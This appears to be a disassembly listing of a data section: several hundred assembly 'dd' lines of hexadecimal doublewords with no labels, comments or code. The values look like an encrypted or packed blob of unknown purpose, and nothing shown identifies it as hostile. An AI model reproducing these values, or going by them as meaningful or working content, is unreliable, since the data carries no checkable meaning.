		dd 8D3CE0CDh, 0F10593C6h, 6F3684C1h, 1DE18F03h,	1CF204A7h
		dd 0A5308CF2h, 0F24F24BAh, 25EB40B8h, 8812AC56h, 840F337h
		dd 0B394179Ah, 6DF6B4h,	8DB17192h, 754A587Ah, 0F5EA4C00h
		dd 72386839h, 4FC70619h, 89D66A80h, 5C625100h, 0A7E71DBDh
		dd 1350008Dh, 0AF83CF3Bh, 58B64090h, 758C465Eh,	8050DB0Fh
		dd 6067C9F0h, 0B03DA800h, 7415970Ch, 0C0811891h, 304EDDC7h
		dd 0B7053824h, 0E951BE8Dh, 0F285BC87h, 53858440h, 0F8763Bh
		dd 231FBE84h, 0D9EB155h, 3D26090Bh, 590C302Ch, 0D56E0510h
		dd 8CCB606Ah, 0EB005138h, 8D275EF1h, 3E5B1502h,	9C009EC2h
		dd 0DEAD1963h, 0B4484A0Ch, 8C88E81Ch, 0FD972F02h, 6E92397Dh
		dd 0BFA112F0h, 0AC802815h, 19BA42Fh, 569A509Ch,	66303BD3h
		dd 284DB0A5h, 81407460h, 5032658Bh, 59A088E6h, 9485AA5Ah
		dd 6F154F2h, 0BED00D19h, 1795B5h, 67DF4088h, 0A29960FFh
		dd 8F00529Eh, 2DB35FB7h, 25439092h, 80684FD6h, 0C9213EDh
		dd 0CAE33Fh, 3CD50486h,	0B811CB93h, 62E80E40h, 238E3B98h
		dd 5A84093Fh, 56386480h, 1096B736h, 5F3B013Eh, 766C5D8Bh
		dd 0D1E8E9A1h, 2188Ah, 71D1C412h, 6C2F1BA1h, 63219160h
		dd 0DC602Ah, 366AAC7Bh,	6BC6730h, 17260805h, 0F404DB4Ch
		dd 80C92B70h, 71000FF9h, 0D1583590h, 884DC7h, 0E9E527E7h
		dd 7D7A00Dh, 991450BFh,	0C445AB9Dh, 0D86041E4h,	705A728h
		dd 0CE11CAA8h, 0CC06094h, 2787677Ah, 60A44606h,	628F891h
		dd 0F7665E54h, 53C70718h, 0F9C8B3D1h, 42705CD9h, 0A40086DFh
		dd 0EF296DE7h, 5E01D966h, 0E02CC8E6h, 8AE87C1Fh, 2583F580h
		dd 137321FCh, 0E688D12Eh, 0B8F5E3F0h, 13C24654h, 4229EE90h
		dd 4E86DA1Ch, 55165870h, 14B40D66h, 929A125Ah, 0EA8C218Ch
		dd 0BC603079h, 89C70415h, 0C03C48F0h, 115467AFh, 839E0044h
		dd 0B7E77AF1h, 13042098h, 0CBB3C642h, 97D7CE3h,	3B43F06Bh
		dd 9B07585Ah, 0B6612C2Eh, 56ABF971h, 0E601EC63h, 0BED18C6Ch
		dd 2553FC4Fh, 0ADEE1738h, 0B160E815h, 5B742587h, 0BFBBA068h
		dd 0CA05B0F0h, 0A0CB0B90h, 45D264B0h, 0C988428Eh, 0E0788071h
		dd 3008618h, 17A8988Ah,	4429C4Fh, 0C33361BDh, 0C968D8D7h
		dd 82E19D16h, 0DA4F08B6h, 59538040h, 2F7A052Eh,	9CC83B25h
		dd 0D78A031h, 3093AC00h, 0B8AF0B2Bh, 98100BECh,	0B8DAEE68h
		dd 0C77ABD0Bh, 4947230h, 9D1540CBh, 22C0FBF9h, 3ECB47Dh
		dd 7B9868ACh, 0EC28DAFDh, 9704D087h, 0B1C68EA0h, 600078BCh
		dd 6DB4B72Ah, 789CCF07h, 963E1160h, 0AB81736h, 3A00CE6h
		dd 4B49EEA9h, 0B932007Ch, 0A4E55815h, 0C2DB0094h, 1996D5DCh
		dd 74B6D6F0h, 26054801h, 303CC368h, 30D0C5h, 81C6BD7Ch
		dd 0D51EF198h, 9901835Fh, 0E4558951h, 0B858B2F5h, 9C340460h
		dd 0F4D7034Fh, 445F67D0h, 0DAA1D044h, 0A580E16h, 0F0031790h
		dd 0E71328F2h, 2FD8DDCBh, 610C82Bh, 90F8C019h, 4E0C50BCh
		dd 4B9C5EEEh, 7C7A393Ch, 0BAB4710Fh, 809C3408h,	446A4846h
		dd 5B610315h, 9547686Ch, 0CF81CD88h, 18DD4F2Fh,	9F4E7FDCh
		dd 6B000DF8h, 5317A24h
		dd 0C0E43774h, 999BEBA9h, 0C60057DEh, 9D5D5B2Ah, 264E2ECh
		dd 0A0C981C4h, 0F059F256h, 1AF6048Fh, 17B0F8E9h, 88E3C8E9h
		dd 0ECBC64C0h, 0FC46D4h, 0AB126B7Ah, 0F9A27D78h, 0E0A0706Eh
		dd 7BF867Eh, 5710D368h,	0A44DCE4Eh, 0D08916E0h,	0A2B4E3EDh
		dd 2E323087h, 18FB6605h, 0FDC4265Bh, 1676E4E7h,	84FEFA4Fh
		dd 0D0488D1Ch, 990B09C7h, 64F5E3BFh, 52C67890h,	0E20590F6h
		dd 0A887C8D0h, 1FC78008h, 123802Ch, 0B35A37B2h,	0EC04702Ah
		dd 281473CCh, 1ADC0378h, 7C5CC8BFh, 0C15A98FCh,	64985E31h
		dd 5D7712F8h, 1019566Dh, 0BEC866D8h, 0EA465E08h, 0BE570403h
		dd 9F98D86Dh, 22FA8F47h, 18ECBCB8h, 76C4C82h, 588BFE3Ch
		dd 0DC44DBECh, 0ADEE8F04h, 3CD0EDD7h, 0BFE61E91h, 3658F480h
		dd 28C154A3h, 0E4B5C82Dh, 94443802h, 0F2CFDC00h, 6CE87F68h
		dd 8E7D073Fh, 900B8B97h, 0C58CF6DBh, 9953D527h,	0FC4E8A6Ch
		dd 5DC08E88h, 13571D2Fh, 0F0D20C7Ah, 6A7DB944h,	0EE1B3117h
		dd 33CB4h, 5D8F59A2h, 0C4C78D2h, 4F5FBD02h, 0F89D67F2h
		dd 0F1F70998h, 8037DD69h, 91530B80h, 204DAE23h,	0E049A666h
		dd 0F6E485ACh, 838B78FDh, 0CC5330D3h, 0C6EE1C60h, 3996AE03h
		dd 0D82DF569h, 4E1193CAh, 5910046Ah, 0A6CECBEh,	0B89289FAh
		dd 0E209F09Fh, 8230E099h, 0EC75416Eh, 0D11D6429h, 9898B5Eh
		dd 0E49865ADh, 0BD9F6088h, 7F1E04EBh, 809CCD3Ch, 4CFA4E70h
		dd 9612009Ah, 78D8F3B0h, 816F00A8h, 0DDD20940h,	28F62AA4h
		dd 30697000h, 3D5943EEh, 0D15D5F73h, 688FE4BCh,	0C3608820h
		dd 3B8C3036h, 0C0DF3F10h, 2D7F1254h, 2B0807A9h,	3974C659h
		dd 0F20428D9h, 941F8FFAh, 12004838h, 31DEB91Eh,	78004B29h
		dd 3974A368h, 0BC57C6Fh, 112CB555h, 7100787Ah, 741399E3h
		dd 6246295h, 32FA5B64h,	7F05B893h, 0DE89F9BFh, 0C811CC49h
		dd 0D7E070h, 378D5A41h,	0CE23387Ch, 9A092D7Bh, 205E8A59h
		dd 87C082ECh, 0D1330F90h, 2FC4A598h, 0D248C443h, 10599A10h
		dd 6A188479h, 36D7B00h,	1BD5EE69h, 61080151h, 87642726h
		dd 14C22B32h, 5CB45462h, 0E6007D46h, 3FBA7639h,	3158C68Fh
		dd 308E4EE8h, 47C48B88h, 185354C0h, 0FCB75838h,	42D64D10h
		dd 5B2062A4h, 6B4844A8h, 0EC3D70F4h, 852B3C00h,	22600BF7h
		dd 9B010D3Ah, 0C2B51D55h, 0D042A6ACh, 13F47C92h, 882C8B8Fh
		dd 8766C33Fh, 578CEA8h,	0F1FA3209h, 0F2EC40B2h,	7AFE2059h
		dd 0FB254E77h, 1FC48099h, 241E82E1h, 2B8F0FAh, 6882654h
		dd 789D8C83h, 0FD0E6177h, 0F820E930h, 1621DAF9h, 0CA14A5Ah
		dd 290F230h, 0C89537F2h, 4FF6A034h, 81945708h, 59190Ch
		dd 380CB1Dh, 6AB5B5Dh, 45AD63D4h, 0B242669Ch, 0C068F790h
		dd 4ED5BDE0h, 39103B30h, 30609Ch, 22A61450h, 684AAB91h
		dd 0BCE0B04Ch, 41008CDDh, 9FB0708Ah, 0F83133h, 15F6CB2Dh
		dd 0C68E66F5h, 129C28E9h, 24B9AEC0h, 2E07FDACh,	0D85B955Fh
		dd 32105A07h, 597F0C0h,	64DDF6CCh, 6AD40252h, 4E01F111h
		dd 0A0000B22h, 0FEECFA76h, 525C7817h, 0F010F0h,	0B83602C3h
		dd 1A4F4E05h, 0DD0C9900h, 123B5A9Ah, 7744E26h, 0F6EE8170h
		dd 7A00582Ah, 0DD6A9923h, 4CF0A9E8h, 320CD045h,	0C1D18F36h
		dd 38C2D101h, 82C4CC9Ah, 256556E0h, 3851B0A3h, 7118DD71h
		dd 0FA696500h, 0C1D4FF09h, 0EE980864h, 1E39E017h, 2B407158h
		dd 959266D7h, 97BA018Ah, 94DE367Dh, 0F8BDFC05h,	0C34DF900h
		dd 0E3C10390h, 3422B58Eh, 6720D86Ah, 6FA42Dh, 313C66Bh
		dd 19DC61BFh, 98C1A813h, 7AF388B6h, 0AF262194h,	8420901Ah
		dd 3A65ABBBh, 0E02324h,	8C98BDC0h, 75129091h, 88306861h
		dd 0DDCEC9h, 556441Eh, 5AB1B8EFh, 0E8B82148h, 9C1D8C7Ah
		dd 276D74F5h, 413C3AB8h, 25BD0080h, 0D902501Dh,	710031A9h
		dd 0EB9F6358h, 0C34403Ch, 663B29A8h, 0FD006751h, 9E99CE36h
		dd 323EB1Ch, 68F09554h,	58A02983h, 0B69DF2h, 41EE00DCh
		dd 0CB558C16h, 3B4B6590h, 2EE1C440h, 98B8A1F8h,	257A057Ch
		dd 0A837A9D7h, 8C7FE8A4h, 0A1BAB300h, 89161826h, 73361A54h
		dd 0E473513Fh, 2CE8CA58h, 8FC3BF3h, 0E902AF9Eh,	0D0964E57h
		dd 3D21E6ECh, 590038CBh, 256BC6CFh, 20BF7A7Ch, 0D3E45578h
		dd 39901792h, 587CE0CBh, 309934B8h, 86E01ED0h, 0EEF30209h
		dd 0CD180B2Fh, 0E0FFC024h, 84A8483Ah, 7901D171h, 0FC16F7A6h
		dd 0E0EC8B53h, 0CFB40083h, 1BAC2289h, 625EB8BBh, 7E880CCBh
		dd 0F2283C0h, 96C100A4h, 474026EDh, 451259F0h, 90B810CFh
		dd 58CFBE8h, 0C8A47037h, 0B6EC17A0h, 93AEB09Ch,	1E270036h
		dd 5A03B21Dh, 7D4ABAFAh, 2B42ECD1h, 0F06B7100h,	93B27200h
		dd 37D89F1Ah, 0C0979799h, 8F808791h, 0E96F5944h, 4AF8E460h
		dd 9C0C6604h, 0D46A94E8h, 380D2F81h, 172DF43Fh,	0F373A701h
		dd 399703EAh, 17713BE4h, 9ABECF5h, 98251236h, 68B2BBh
		dd 28697399h, 5A3D7B6h,	4230A63Bh, 0F2B1C314h, 0F8F985h
		dd 1283996h, 209A4F7Eh,	661679E6h, 0A06EB093h, 45728A00h
		dd 0D7A78F0h, 0DA54AC19h, 86F9D4E1h, 0B870253Eh, 433FAC18h
		dd 88ED1CDFh, 0E21923CFh, 58A23B4Ch, 3DF92Ch, 2E607E02h
		dd 94F43134h, 4B67F000h, 944E1EF7h, 0B54F0A2Ch,	6BA63BB0h
		dd 43831C1h, 183829C7h,	0AEF1DB38h, 5052066Dh, 7A02CDF0h
		dd 0E5BE900Bh, 187440FCh, 2D30BC76h, 79911097h,	0D8021B8Bh
		dd 0B85A7EDBh, 4A725502h, 49DF8ACDh, 64EA74F8h,	2C74B294h
		dd 4948807h, 2F0F52Ah, 747089E4h, 1A34A6C8h, 444069E7h
		dd 0CC0BE399h, 0D1F529C6h, 0D160A9ACh, 1D1883h,	0C84C94ACh
		dd 387C7082h, 4A5E560Ch, 6BEDC074h, 0D0658957h,	19E01DE2h
		dd 0E73A6017h, 265AF8F5h, 2F10CD4Ch, 0C46467E1h, 0C80762DDh
		dd 1E8E63Ah, 59E58A34h,	628D3E9Ah, 0BCA2FF8h, 70FCDBB4h
		dd 2803C711h, 0EE669F71h, 0F5F1004Ah, 4EAE4F3h,	0ED004F78h
		dd 0D4D85E05h, 793D6765h, 205405D2h, 8DD08DCh, 2AF8BE0h
		dd 14AA284h, 2B1DF00Dh,	0E3CFF002h, 0A89283h, 478EE8B5h
		dd 5EA8BC7Bh, 0F6F18FBh, 3526B7D1h, 29F25561h, 0F8012A53h
		dd 9246825Ah, 956C9041h, 26E25986h, 887899BBh, 0DF3C6000h
		dd 0EBD8312Ah, 5EC896B3h, 5B1F8946h, 3B1483E4h,	0E388DA69h
		dd 24E37E57h, 0F00CA888h, 9817FE11h, 6D560EB4h,	0B249F9F1h
		dd 2D76D060h, 4CEF2A11h, 1C808D00h, 62D136C6h, 1C889F5Fh
		dd 25163011h, 0F0D85048h, 0F3B6B12h, 12F9D840h,	39C2D244h
		dd 0DB053D82h, 0CEB63902h, 0C07F8818h, 6F112928h, 89AFC100h
		dd 0FA924FCFh, 83B0C082h, 6AF7DBBDh, 0F04388h, 5524C963h
		dd 4750B622h, 0B874B049h, 0EC1A00ABh, 81EA0304h, 0DB50717Ch
		dd 809EDFE4h, 1315250Eh, 27BF6B1Dh, 0E41CC5A7h,	0F5176083h
		dd 0E2FF00F2h, 6AD9E3C8h, 0A2E22767h, 7E58D8A1h, 1D244420h
		dd 67850088h, 12EE0D82h, 21008F7Ch, 0EC2E0BF5h,	7558ADAh
		dd 0BED045C2h, 4D80886Ah, 78502B79h, 0EBF9016Dh, 6656E416h
		dd 0E8493F0Dh, 60706DAFh, 928FBD31h, 0B7FFB1Eh,	8A5A0641h
		dd 0CC40786Ah, 49E4E0F9h, 0D389B08Dh, 0B0376C0Bh, 3B37AC82h
		dd 0E0C02E03h, 5A872ED4h, 8B22B100h, 0D24E6838h, 59F10B67h
		dd 0DC705292h, 0E3C0A505h, 88F11998h, 10A42F6Eh, 2C0DF42h
		dd 519D273Bh, 0EBDCD200h, 8E3EC26Eh, 987448C4h,	0A1F2560Fh
		dd 8978D196h, 0A458084Dh
		dd 0A0C248ACh, 1E5C42C1h, 17E3082Dh, 6CB4FBEh, 180D12E4h
		dd 1636C213h, 0D89AA417h, 6C1E7CC1h, 90B9203Ch,	25794660h
		dd 0BC99BF4h, 0BE2077EAh, 45082C1Dh, 0F9D260DFh, 2B0E6AC8h
		dd 0E1CF3BD7h, 686595Fh, 2F0F3C68h, 0BC2AD401h,	6CD8A5A4h
		dd 5BFB2009h, 96E005BFh, 0A46CD8A0h, 179F2CF4h,	62DC0FBBh
		dd 8A8268C0h, 75006B29h, 0A3B0FD39h, 0B4D34BDh,	4C9EC1C0h
		dd 507C8C1Ah, 0E01B2156h, 85683983h, 534E8A37h,	3A6A703Ch
		dd 33BB150Fh, 0CB05E2A8h, 10D03Dh, 0A3B44460h, 0EF6B7626h
		dd 6F87349Eh, 5BA40A23h, 0BD2435ABh, 9B2A824h, 0C504B5BFh
		dd 7B5A7402h, 6E05E80Ah, 0F0FD110Eh, 120632BCh,	0CF61733Fh
		dd 84B89D39h, 8005C89Dh, 1E3A7EDAh, 220AF442h, 12FCD09Ch
		dd 0E8798BE4h, 8C5CF86Ch, 25B24E01h, 58890220h,	7D4CC2EBh
		dd 8A8F9832h, 0A55797E0h, 0EC27354Fh, 4000EDE0h, 8C2E6181h
		dd 879CC500h, 0A1CAAC1Eh, 2618BEB7h, 0B0488968h, 38D634D6h
		dd 0F48012CAh, 0D545074Ah, 2E178FF0h, 0C0B061C0h, 0E337229Eh
		dd 5220D301h, 0E5F68E9Fh, 0E14C843Fh, 0EC2E3F5Ch, 5F007C23h
		dd 4B992AC4h, 5C620194h, 0A1C2BA18h, 0C41EE33h,	31D44931h
		dd 0A1707415h, 0A4042725h, 0BC34D228h, 8C3FAC48h, 264D170Bh
		dd 0B4DC810Eh, 28409AD3h, 618E5474h, 7AFA6937h,	0EC547C80h
		dd 63018C5Ch, 4A23C146h, 403E38B0h, 0C52A65A0h,	0B900FD21h
		dd 55AF7682h, 0E0173Fh,	7DFAFE89h, 0BAE93BE5h, 3EE7197Bh
		dd 0D002E46Bh, 0EE9A4F81h, 29B02455h, 4E3B30ADh, 6CC08DBFh
		dd 0D549CA00h, 0A7265B64h, 0BB028872h, 88793899h, 3725318h
		dd 0BB62AFEEh, 78AE1A80h, 4A5A139Ch, 85A8B4EFh,	0C1202E00h
		dd 0FAE54FB0h, 0C6A1002Bh, 0EFADD5DFh, 375AE939h, 2FBA1424h
		dd 8023D4h, 0DE90525Fh,	65753A2Ch, 6EF25912h, 0A47A7080h
		dd 9960B23Fh, 18E9D05Ch, 78650086h, 4DD1697Bh, 832D3E8Ah
		dd 0E010ED30h, 5773697Dh, 0EA4C2303h, 0E4C5AC04h, 76569CC1h
		dd 0B10F8300h, 0C65DA601h, 29F0E5B3h, 5828F8E6h, 1DEC30AFh
		dd 0B010698Ch, 465EBCF4h, 0BCB300DEh, 77506C21h, 28C7651h
		dd 44C68340h, 40D4F148h, 894674h, 0BFFE76E9h, 12454B92h
		dd 0E085F691h, 214B6260h, 9EF0BCF6h, 0CE0010D9h, 6A3D657Ch
		dd 0BF2AAFh, 0B6A4E461h, 0A6256B88h, 5CA5800Fh,	456F0BC6h
		dd 8AF1CE78h, 8938DF16h, 46811FCh, 6E41D3A8h, 311CFD25h
		dd 0C49B2A98h, 3F47E682h, 0ACE98884h, 265A05CCh, 70B44CFBh
		dd 0CE4E1258h, 2498A441h, 0D08ED84Ah, 2BC08DC8h, 90BBA1F8h
		dd 734A34h, 0BE82B3C0h,	68975647h, 13123B3Ch, 0E808D318h
		dd 58508094h, 30D5D0h, 1BDAD35h, 3151958Fh, 0C627447Bh
		dd 9F74F819h, 0A600F4B7h, 0CAC64F8Eh, 80AA2011h, 746F3A16h
		dd 0EC13088Bh, 0C434B0D9h, 1DB816EBh, 138397DBh, 0FFFC2792h
		dd 5D742058h, 4882E55Bh, 88B555AFh, 9AFFF880h, 121CD1h
		dd 6F8125F3h, 85B074D3h, 8FD84654h, 0EB6DBE14h,	342F4AA4h
		dd 45038D23h, 0B22E0528h, 274CD03Dh, 0E0E939D2h, 3F6CF0D1h
		dd 1387C600h, 4133FE6Dh, 68F604B4h, 0BE75E2E0h,	8A23983Ah
		dd 0CB8E0200h, 1BC93Ah,	3EC2ED28h, 1480E825h, 0F304C813h
		dd 4012E8B2h, 0E72004B4h, 22D00F0Eh, 0A0215C73h, 0DAF25AB0h
		dd 88BCB6ADh, 380204B2h, 0F8510A93h, 35D624DCh,	0BFD834C8h
		dd 7E23002Fh, 6221800h,	17938FF9h, 0A46CD3E3h, 0C63D8EB8h
		dd 48C871h, 0F8192360h,	255702C2h, 28E85F76h, 0F64992D0h
		dd 556C1A14h, 8EACB7E1h, 94EF98C0h, 140BA7E0h, 1A095A0Eh
		dd 5ADE0F26h, 0F5C100DCh, 9ECC3F6Bh, 0C3124DCDh, 6C5359EEh
		dd 0CFB998ADh, 69A537D8h, 5329CA1Ch, 2C21B4A8h,	0B861B58Bh
		dd 431DBCB4h, 0C8F524E0h, 9049420Bh, 97863230h,	4591A41Dh
		dd 0FB32ED87h, 0D2BA5780h, 0C4000523h, 9181B44Bh, 11514D5h
		dd 0F6C6D8BCh, 0C5D466A8h, 0B8C82F64h, 484D00EAh, 96BD9B22h
		dd 1906F192h, 0C38D68Bh, 14F602E9h, 46FF5842h, 0C1812661h
		dd 0F2CC32BBh, 0B6533083h, 5D08E900h, 2B49C732h, 89DA6039h
		dd 790C1893h, 47ACA605h, 0BCF43021h, 12387315h,	9C6402h
		dd 4E31FD3Eh, 3500C3CFh, 470F9416h, 9F4A7E58h, 84B69480h
		dd 0CC96216Dh, 0F2D65210h, 1905B1E4h, 5904950Ch, 39D3BE9Ah
		dd 0E0E2C8B6h, 154D130h, 108EFB2Fh, 2D38D55Dh, 83671ECCh
		dd 0E3AB49C0h, 0BE3C0Eh, 31DDBB9Ch, 4465246Ch, 0CF93B41Eh
		dd 0C207C0ACh, 5880B6E0h, 0C47A1326h, 0BF0BEDF8h, 58BDF453h
		dd 8802DCACh, 5A92D8F8h, 368F477h, 172D2B5Dh, 1757E2BAh
		dd 817A9138h, 6074B890h, 3D01D822h, 7DB0B3ECh, 0B01E3A16h
		dd 10E0B214h, 307418Eh,	305748FBh, 896E1860h, 1D44303Dh
		dd 0E068C6Fh, 1135F7h, 0AABD2156h, 13D030AFh, 808B733h
		dd 7321003Bh, 0C2FFBD19h, 0B80024C8h, 4640D7F3h, 7CAAC80h
		dd 97443610h, 1126015h,	84003B32h, 0BB82C56Bh, 714A57h
		dd 938D1080h, 0DB980A6Ah, 0F8CE9900h, 1CBCCB33h, 0EDB300A1h
		dd 549092Eh, 0AC6C406Fh, 0DB5878h, 631EF5ADh, 7A485243h
		dd 0CF085366h, 0A5310079h, 8263FCF5h, 830051B3h, 56CD4512h
		dd 72AC021Ah, 0B79000FDh, 812F4F9Ch, 0E001995h,	9BD57A46h
		dd 0E717F28h, 0F7B46B97h, 2BA0F1F8h, 0E74A3307h, 35003E52h
		dd 0F99A70h, 0D1AA64B0h, 0AD053D09h, 0CA6464Ch,	0B148B41Ch
		dd 4EA90126h, 0F62A4F2Dh, 20518029h, 563DA3E7h,	455F460h
		dd 0EE2E0A72h, 0AA54C030h, 0F703CD7Eh, 0A981AD34h, 0E8A0003Bh
		dd 8468C782h, 0CA2A2912h, 0F82988E7h, 293EE493h, 0E80394C7h
		dd 0C651FE2h, 0B1F9AD30h, 8210E449h, 0A60067CBh, 0AF5F9144h
		dd 3D616EC9h, 27826420h, 32210EDEh, 58456F06h, 0F508A8C0h
		dd 0C4AB631Bh, 0A03C44CEh, 0E78EC203h, 5A312490h, 90F92504h
		dd 38884252h, 1A048C0Dh, 18AFA9BDh, 74200262h, 1C6BBD12h
		dd 98B2F629h, 750F1907h, 90463100h, 0BBC482BAh,	0F1A43D7Bh
		dd 8471AA81h, 8CF0FA49h, 8168399h, 5E1F00FBh, 0DA8D62Dh
		dd 0F3249053h, 79033C78h, 1F841636h, 0FFB31h, 62960883h
		dd 0EE33F068h, 6A0872h,	83405521h, 0C06F1D6Eh, 3D1F071Fh
		dd 0B8BE800Ah, 1630508h, 2632F7BAh, 95C03E7Bh, 514C412h
		dd 0EA5FC2Bh, 64AC4040h, 0CD78D00Ah, 321833EEh,	59083FC5h
		dd 620C0FCh, 486D002h, 0C0EE1200h, 0FE385B3Eh, 487F7D6Dh
		dd 0A7126C28h, 1C5C03E3h, 59062FAEh, 48D6564Bh,	0B7ACA020h
		dd 0C1146051h, 0E7B3AD75h, 0A833952Ah, 0B9C59001h, 0BAC33220h
		dd 3AC8D44Eh, 5E9C9AC0h, 4377893h, 28220BA5h, 820CC8C7h
		dd 32811B60h, 0E6D6E99Bh, 1C010019h, 5F0D8D2h, 4F0DFF08h
		dd 28371A71h, 3013CC02h, 3311837Dh, 0A29D7A96h,	83455000h
		dd 0BA4D2F42h, 21E7458h, 0BB15A899h, 0F400A81h,	2E06E09Dh
		dd 0BA7F4F3Dh, 0B820ED39h, 623A400Dh, 53438A10h, 4CBF9719h
		dd 6BA4442Fh, 7D130048h, 2CC7B9AFh, 65180662h, 60742B8Ah
		dd 0F849ACFAh, 3ABE00B0h, 728EF330h, 5BB501DAh,	7F999373h
		dd 0BAD420FAh, 3096940h, 7E4DF538h, 980904DEh, 0A24C220Ah
		dd 293DC604h, 6043A004h, 2321F5AAh, 0F2117B63h,	0F5A23E00h
		dd 0D4499374h, 0F6E2660Bh, 0B14196Eh, 0BD091C18h, 1C08AFA7h
		dd 147601DCh, 84AD1DBDh, 4846E104h, 0F508A744h,	0C453631Ch
		dd 0BF3B40C1h, 0D2CE3F5h
		dd 0F1C92941h, 9B502019h, 0FAD6740h, 8F276383h,	14C299Ch
		dd 0AFACBD1Fh, 883E18C0h, 0BD001771h, 65A92346h, 88500ED8h
		dd 323E0D35h, 25890337h, 0B0964718h, 503F57Ch, 0D1A1DCB2h
		dd 0AB184028h, 838072FFh, 0EE00077Eh, 49528E53h, 774697AFh
		dd 42370708h, 8B7D8779h, 13EA4023h, 24046987h, 837E6014h
		dd 72962632h, 46AF7038h, 95833Ch, 0C2B2658Eh, 164D3BC0h
		dd 16BDAD9Bh, 8C5C1078h, 4723B842h, 1DF5A601h, 0C0185B63h
		dd 3DBE3A88h, 0F6812CF5h, 3E56C5DDh, 3FB0965Dh,	0B31C3041h
		dd 2A03FC76h, 606CA4A2h, 79D00904h, 616217CDh, 0D0010720h
		dd 4A050203h, 39D2BAD3h, 0E8C6CBC0h, 816C9258h,	150AD94Fh
		dd 0A87020h, 0DCDB8727h, 0DE95A3CCh, 7833F732h,	0D0D033BEh
		dd 2746CD7Fh, 5005C22h,	0C7CED00Bh, 9087C871h, 56C620E4h
		dd 0DDC8F758h, 0F2B53C80h, 30C10A8h, 0AF0F8756h, 96E0343Dh
		dd 0F967E9B3h, 9B451F80h, 0B088B889h, 4B0232CEh, 44C429AFh
		dd 63822AA4h, 0A77300DCh, 1DC25732h, 107CD3Fh, 45035114h
		dd 7CD0E1E7h, 0D048FAEh, 0DF31DB90h, 1AEC3468h,	0B74540h
		dd 6084D98Fh, 0C38A7D30h, 98365240h, 33F64560h,	3063A260h
		dd 0AB2A1C9Dh, 94B0A846h, 0CC8129ECh, 0BC4888FEh, 3780A211h
		dd 7CD7BD0h, 95A448Ch, 95D00F06h, 3A787AB0h, 0F8000ACFh
		dd 9DD83D3Ah, 1C11BB4Bh, 3042CBB2h, 0DC3060E2h,	7BF10782h
		dd 6091410Dh, 0D266CDA8h, 9AC03360h, 91272AABh,	185AF11Ch
		dd 395200CAh, 0C1144255h, 84993388h, 1E800191h,	38AFADBDh
		dd 703D448Ch, 0E7BD1600h, 722B907Eh, 454700ECh,	97B6D91Ch
		dd 0C34C29CEh, 0EA628170h, 0B5006CD7h, 31483581h, 0B2C05030h
		dd 0C3294360h, 0D2072256h, 0C8F802E8h, 0C40112E1h, 5EB438Bh
		dd 83164640h, 0FCF8401Ah, 10D5C5F8h, 86081300h,	141697DEh
		dd 1F790385h, 56BF9A67h, 0A88C3826h, 0D218E15Eh, 8315360Ch
		dd 35E7119h, 9CA6DE2Eh,	10B8E376h, 0F9048758h, 3FF29A93h
		dd 33175882h, 963783C8h, 65229A46h, 8341540Eh, 0CD4021D7h
		dd 0E424C2AEh, 0B4D90075h, 8B37EEEAh, 250E6A7h,	0E48CA1F8h
		dd 0CD7C11D0h, 805B880Fh, 0C9D00E02h, 907382B6h, 79F2BE02h
		dd 0C80AE1AFh, 5AEB0B8h, 5F057832h, 23302EE8h, 3A2D005Ch
		dd 0ACC45698h, 8EF9CB60h, 7A401h, 0D3EA8705h, 80A9C6F8h
		dd 0BE1ABB00h, 0CB56EB02h, 0CCA0004Fh, 133AC579h, 80259706h
		dd 91DC971Eh, 57978001h, 99797AA6h, 1856D9E4h, 801C3810h
		dd 0DC79DB09h, 7ED1B001h, 0C884C2E6h, 979CB4F6h, 45A96E00h
		dd 8EA547CCh, 0DDA30214h, 4C5C23C9h, 0AA00945Bh, 65148044h
		dd 0E88678C9h, 0D6193FC0h, 5258049h, 0C0114497h, 6D130F80h
		dd 6650D1D8h, 0A3049650h, 33F8F605h, 514886h, 7858CFBh
		dd 5F11E1Fh, 9D18F06Bh,	80649140h, 4CC6C53Fh, 1C981311h
		dd 0C0784A48h, 0E1AC8CA4h, 2A003461h, 72A0DF01h, 0D090270h
		dd 0CDF5A398h, 8CCC51A0h, 0C8720911h, 70303DB2h, 0C4F2D7h
		dd 22E249D2h, 64A7B775h, 0BC96A404h, 6CD88719h,	1B048C0Ch
		dd 20AFA8BDh, 75CFF8A2h, 4198BD40h, 0EF003328h,	8CB77CE2h
		dd 2E63A219h, 81D47B8Ah, 0BFE1C590h, 98C458E5h,	4201DB5Ch
		dd 644B09C4h, 150CA4EAh, 45C07F62h, 0B0946A96h,	47AE58h
		dd 20B3E583h, 524346CDh, 960C5003h, 0C09DDBh, 6E7B1E60h
		dd 63718FEDh, 0C981AF09h, 85EC1B18h, 0CBE897C0h, 2C5E3056h
		dd 4877EEA0h, 0C31225F2h, 0A48B0675h, 3FA39Eh, 0FC32E245h
		dd 4D29FF57h, 5B81F4CEh, 7112834Fh, 0C20C001Ch,	4B413B93h
		dd 87BFC805h, 2A43A2Bh,	6572C9ABh, 18FF8844h, 1AF508A9h
		dd 0F7C4A363h, 0F5A13D40h, 8001A81Fh, 95855F4Dh, 0EEFC88B1h
		dd 115503E9h, 0DF48AFBFh, 0BEE3F9C0h, 9823872Eh, 2854AA08h
		dd 840D5D4Ch, 6E4AE446h, 57390088h, 0B65D690Fh,	0C1B70472h
		dd 56B53E3h, 6C0645F1h,	391583h, 0F750204Eh, 0F9251979h
		dd 0CA1E840Eh, 44F3666h, 0C64BAE4Eh, 5110360Eh,	2400E0D4h
		dd 507BE262h, 92DAC4Ah,	9C93E784h, 3EC46C67h, 0AAE77260h
		dd 0ABE0F702h, 785A05D1h, 0DEC117A0h, 0B26C3449h, 3358B2F4h
		dd 0EE64C3FDh, 0A9BC21BDh, 99BF00E2h, 0A5BB126Eh, 4F6C04CBh
		dd 3C3CC967h, 1D8F8158h, 77E45A0Dh, 95FA0042h, 171D6EBh
		dd 8C38F911h, 8CF8D91Ch, 0B36390Fh, 38FE3EA3h, 1950F85h
		dd 0ECE25EC4h, 0BD046818h, 3A9430EAh, 7FCE6901h, 510F186Eh
		dd 0F1594183h, 0CFE037CDh, 3F00036Dh, 4DB6DC6Ah, 0D334DA56h
		dd 32E829F8h, 335DE254h, 7E17AEB8h, 10950300h, 3987E498h
		dd 990A013h, 0F9AF0BDDh, 6233C1h, 81540440h, 0AC26250Ch
		dd 7FE9E6h, 0A60D829Bh,	0BB93220h, 0C7ABF60Bh, 0BFA01109h
		dd 0D00A3418h, 4C3FCD7Eh, 0C0450h, 0A8D79BD0h, 66C74846h
		dd 37C49253h, 24B02952h, 0E554A3h, 0F52908A5h, 85773D64h
		dd 1655DB00h, 86BF4C7Fh, 0EEAE12CBh, 21D89126h,	0D02909DEh
